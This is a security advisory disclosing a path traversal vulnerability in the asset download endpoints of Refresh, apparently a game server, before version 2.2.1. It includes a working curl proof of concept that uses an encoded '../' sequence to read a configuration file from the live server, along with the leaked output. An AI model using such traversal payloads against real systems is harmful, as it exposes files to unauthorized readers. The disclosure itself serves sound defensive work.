Skip to content

Path traversal vulnerability in asset download endpoints

High
jvyden published GHSA-h2wr-3c7f-7h79 Sep 25, 2023

Package

Refresh (Releases)

Affected versions

< 2.2.1

Patched versions

2.2.1

Description

Pretty much all the endpoints used to download game assets have a path traversal bug which allows getting files from anywhere in the filesystem.

Example:

$ curl https://refresh.jvyden.xyz/api/v3/assets/..%2frpc.json/download
{
  "Version": 2,
  "ApplicationId": 1138956002037866648,
  "UseApplicationAssets": true,
  "PodAsset": "pod",
  "MoonAsset": null,
  "RemoteMoonAsset": null,
  "DeveloperAsset": null,
  "DeveloperAdventureAsset": null,
  "DlcAsset": null,
  "FallbackAsset": "fallback"
}

Affected endpoints:

  • api/v3/assets/{hash}/download
  • api/v3/assets/{hash}/image
  • lbp/r/{hash}

The upload endpoint isn't affected since the hash is checked beforehand.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

CVE ID

No known CVE

Weaknesses

No CWEs

Credits